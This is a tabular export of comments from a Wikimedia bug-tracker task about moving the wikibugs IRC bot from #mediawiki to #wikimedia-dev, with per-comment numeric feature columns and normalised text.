210538,Move wikibugs out of #mediawiki to #wikimedia-dev,..,,,1366671790,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,..
210534,Move wikibugs out of #mediawiki to #wikimedia-dev,"test - wikibugs bot, please report in new channel, after having to kill concurrent bot instances started by old script",,,1366670542,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.5,0.9090909090909091,"test - wikibugs bot, please report in new channel, after having to kill concurrent bot instances started by old script"
210531,Move wikibugs out of #mediawiki to #wikimedia-dev,moved to #wikimedia-dev,,,1366670045,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,moved to #wikimedia-dev
210528,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #31)
> @Nemo, this bug is about wikibugs. Though some related change has been
> merged, wikibugs is not yet run from puppet so that change is irrelevant
> until that is activated. wikibugs is still in #mediawiki. Reopening.

At the time the bug was closed, #mediawiki was blessèdly-free of bots. :-)",,,1366381582,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,15.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.121212121212121,0.7878787878787878,"(In reply to comment #31)
QUOTE
QUOTE
QUOTE

At the time the bug was closed, #mediawiki was blessèdly-free of bots. :-)"
210524,Move wikibugs out of #mediawiki to #wikimedia-dev,"@Nemo, this bug is about wikibugs. Though some related change has been merged, wikibugs is not yet run from puppet so that change is irrelevant until that is activated. wikibugs is still in #mediawiki. Reopening.",,,1366375128,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-11,,2.0,0.0,0.0,7.0,2.0,2.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.380952380952381,0.7142857142857143,"SCREEN_NAME, this bug is about wikibugs. Though some related change has been merged, wikibugs is not yet run from puppet so that change is irrelevant until that is activated. wikibugs is still in #mediawiki. Reopening."
210518,Move wikibugs out of #mediawiki to #wikimedia-dev,"https://gerrit.wikimedia.org/r/#/c/57752/ , https://gerrit.wikimedia.org/r/#/c/57753/ merged.

00.31 -!- gerrit-wm [~gerrit-wm@manganese.wikimedia.org] has quit [Remote host closed the connection]
00.32 < mutante> bot is moving per merged changes
00.32 < James_F> Yup. :-)
00.32 < James_F> (Yay.)

(CEST)",,,1366172918,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,22.0,3.6363636363636362,0.6727272727272727,"URL , URL merged.

00.31 -!- gerrit-wm [~gerrit-wm@manganese.wikimedia.org] has quit [Remote host closed the connection]
00.32 < mutante> bot is moving per merged changes
00.32 < James_F> Yup. :-)
00.32 < James_F> (Yay.)

(CEST)"
210513,Move wikibugs out of #mediawiki to #wikimedia-dev,"Note that wikibugs is now 30 % less chatty, as bug 28402 was fixed (bug 28402 comment 8). It would maybe deserve a second chance. :)",,,1365658133,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,20.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,0.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.566666666666667,0.9,"Note that wikibugs is now 30 % less chatty, as bug 28402 was fixed (bug 28402 comment 8). It would maybe deserve a second chance. :)"
210508,Move wikibugs out of #mediawiki to #wikimedia-dev,Related URL: https://gerrit.wikimedia.org/r/58661 (Gerrit Change I588f2eba8fba9603f33386e54e90c03e2bb5f5f0),,,1365657518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I588f2eba8fba9603f33386e54e90c03e2bb5f5f0)
210504,Move wikibugs out of #mediawiki to #wikimedia-dev,Ori submitted I10a02bfe to get this done when there is approval.,,,1365203841,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Ori submitted I10a02bfe to get this done when there is approval.
210496,Move wikibugs out of #mediawiki to #wikimedia-dev,"What about moving them to #wikimedia-dev instead of #mediawiki?

I think most (actively involved) developers that are on IRC aren't disturbed by the feed. If they really must they're experienced enough to not be afraid of a simple /ignore.

Though I speak only for myself, I believe those that do want the feed, would prefer it to be in context of regular conversation, not in a separate channel.

It's where random bits of interesting things come by from (e.g. discussing a change, proposing and and then someone does it or files a bug about it).

It doesn't work when in a separate channel.

See also #mediawiki-parsoid, #mediawiki-visualeditor, #wikimedia-operations, #wikimedia-mobile etc. (and same for third parties such as #jquery-dev and webkit).

The problem is mainly with #mediawiki being a support channel instead of dev channel, not with having notifications in a human-occupied irc channel in general.",,,1363699186,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.5,0.0,0.5,2.5,5.5,2.5,0.0,0.5,0.5,4.5,1.5,0.0,0.5,0.0,2.0,0.5,9.0,13.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,6.0,1.5,2.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.5,0.0,1.5,0.5,0.5,0.0,0.5,0.0,14.5,1.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,0.5,1.0,0.0,0.5,0.0,5.0,3.0,5.5,2.0,2.5,5.5,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,6.0,13.0,2.5,0.5,0.0,0.0,6.0,0.0,2.5,3.5,1.0,2.0,0.0,0.5,1.0,3.885,0.675,"What about moving them to #wikimedia-dev instead of #mediawiki?

I think most (actively involved) developers that are on IRC aren't disturbed by the feed. If they really must they're experienced enough to not be afraid of a simple /ignore.

Though I speak only for myself, I believe those that do want the feed, would prefer it to be in context of regular conversation, not in a separate channel.

It's where random bits of interesting things come by from (e.g. discussing a change, proposing and and then someone does it or files a bug about it).

It doesn't work when in a separate channel.

See also #mediawiki-parsoid, #mediawiki-visualeditor, #wikimedia-operations, #wikimedia-mobile etc. (and same for third parties such as #jquery-dev and webkit).

The problem is mainly with #mediawiki being a support channel instead of dev channel, not with having notifications in a human-occupied irc channel in general."
210490,Move wikibugs out of #mediawiki to #wikimedia-dev,"de duping title, These are two issues that really should be discussed separately.",,,1363699112,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,4.6,1.0,"de duping title, These are two issues that really should be discussed separately."
210487,Move wikibugs out of #mediawiki to #wikimedia-dev,*** Bug 46282 has been marked as a duplicate of this bug. ***,,,1363698855,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 46282 has been marked as a duplicate of this bug. ***
210484,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #22)
> Right
> now, wikibugs is reporting CC changes, when it used to not report those.

This is what I just linked: bug 28402 aka bug 43130, which has a patch that someone needs to commit/review.",,,1363626815,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,5.0,0.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.236842105263158,0.8947368421052632,"(In reply to comment #22)
QUOTE
QUOTE

This is what I just linked: bug 28402 aka bug 43130, which has a patch that someone needs to commit/review."
210480,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #18)
> That's not a valid reason, imho. We need a way to tone down what it reports,
> if it's going to stay...the rate of bug reporting & commenting is many times
> greater than it once was. It's definitely gotten noisier over the years,
> which has reduced its utility.

I believe I already said as much somewhere around here, but wikibugs _is_ producing more noise lately, as it was broken by the recent Bugzilla upgrade and nobody has fixed it (or deployed the fixes to it, I can't remember). Right now, wikibugs is reporting CC changes, when it used to not report those.",,,1363626526,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,1.0,0.0,0.0,1.0,2.0,2.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,14.0,7.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,2.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,2.0,4.0,13.0,1.0,4.0,6.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,8.0,7.0,4.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,3.566265060240964,0.6987951807228916,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE

I believe I already said as much somewhere around here, but wikibugs _is_ producing more noise lately, as it was broken by the recent Bugzilla upgrade and nobody has fixed it (or deployed the fixes to it, I can't remember). Right now, wikibugs is reporting CC changes, when it used to not report those."
210475,Move wikibugs out of #mediawiki to #wikimedia-dev,"We could schedule an IRC meeting, announce it ia wikitech-l mailing list, and tally votes/opinions on a wiki page.",,,1363618310,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.9615384615384616,"We could schedule an IRC meeting, announce it ia wikitech-l mailing list, and tally votes/opinions on a wiki page."
210471,Move wikibugs out of #mediawiki to #wikimedia-dev,"Could we move this debate to its target audience somehow, as I'm afraid that it won't be seen in this Bugzilla report? 
I understand that's hard for IRC, but maybe a generic mailing list or RFC?",,,1363618174,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,7.0,5.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6136363636363638,0.8863636363636364,"Could we move this debate to its target audience somehow, as I'm afraid that it won't be seen in this Bugzilla report? 
I understand that's hard for IRC, but maybe a generic mailing list or RFC?"
210469,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #18)
> That's not a valid reason, imho. We need a way to tone down what it reports,
> if
> it's going to stay...the rate of bug reporting & commenting is many times
> greater than it once was. It's definitely gotten noisier over the years,
> which
> has reduced its utility.

Reduced it's utility -> in the main support channel. The bot *is* useful, I just think it drowns out conversation these days.",,,1363617531,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,6.0,8.0,10.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.26,0.74,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Reduced it's utility -> in the main support channel. The bot *is* useful, I just think it drowns out conversation these days."
210467,Move wikibugs out of #mediawiki to #wikimedia-dev,"That's not a valid reason, imho. We need a way to tone down what it reports, if it's going to stay...the rate of bug reporting & commenting is many times greater than it once was. It's definitely gotten noisier over the years, which has reduced its utility.",,,1363617489,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,2.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,9.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,5.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,2.0,3.0,0.0,0.0,3.6379310344827585,0.8103448275862069,"That's not a valid reason, imho. We need a way to tone down what it reports, if it's going to stay...the rate of bug reporting & commenting is many times greater than it once was. It's definitely gotten noisier over the years, which has reduced its utility."
210461,Move wikibugs out of #mediawiki to #wikimedia-dev,Bumping importance back down; wikibugs belongs on #mediawiki as it's always been. Recommend WONTFIX.,,,1363617399,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.578947368421052,0.9473684210526315,Bumping importance back down; wikibugs belongs on #mediawiki as it's always been. Recommend WONTFIX.
210454,Move wikibugs out of #mediawiki to #wikimedia-dev,"Upping priority, adjusting summary, reopening.",,,1363617125,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,5.25,0.875,"Upping priority, adjusting summary, reopening."
210448,Move wikibugs out of #mediawiki to #wikimedia-dev,"I've created bug 46282 about kicking gerrit-wm instead, per myself & p858snake.",,,1363616978,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,4.0,1.0,"I've created bug 46282 about kicking gerrit-wm instead, per myself & p858snake."
210443,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #13)
> wikibugs appears to be in #mediawiki right now and is happily reporting bug
> updates...

This required me unquieting and unbanning the bot and Tim re-adding the bot to the channel.

(In reply to comment #9)
> Moving it's easier said than done, since it's not puppetized properly, but
> that can be worked around.

It's pretty easy. You change ""mediawiki"" to something else (e.g., ""mediawiki-feeds"").

> Long term--wouldn't improvements to wm-bot be a good idea too?

Absolutely. In the short-to-medium term, STOP KICKING THE BOT ON A WHIM.",,,1363375114,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,11.0,1.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,22.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,3.0,11.0,3.0,0.0,4.0,0.0,3.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,3.208791208791209,0.5494505494505495,"(In reply to comment #13)
QUOTE
QUOTE

This required me unquieting and unbanning the bot and Tim re-adding the bot to the channel.

(In reply to comment #9)
QUOTE
QUOTE

It's pretty easy. You change ""mediawiki"" to something else (e.g., ""mediawiki-feeds"").

QUOTE

Absolutely. In the short-to-medium term, STOP KICKING THE BOT ON A WHIM."
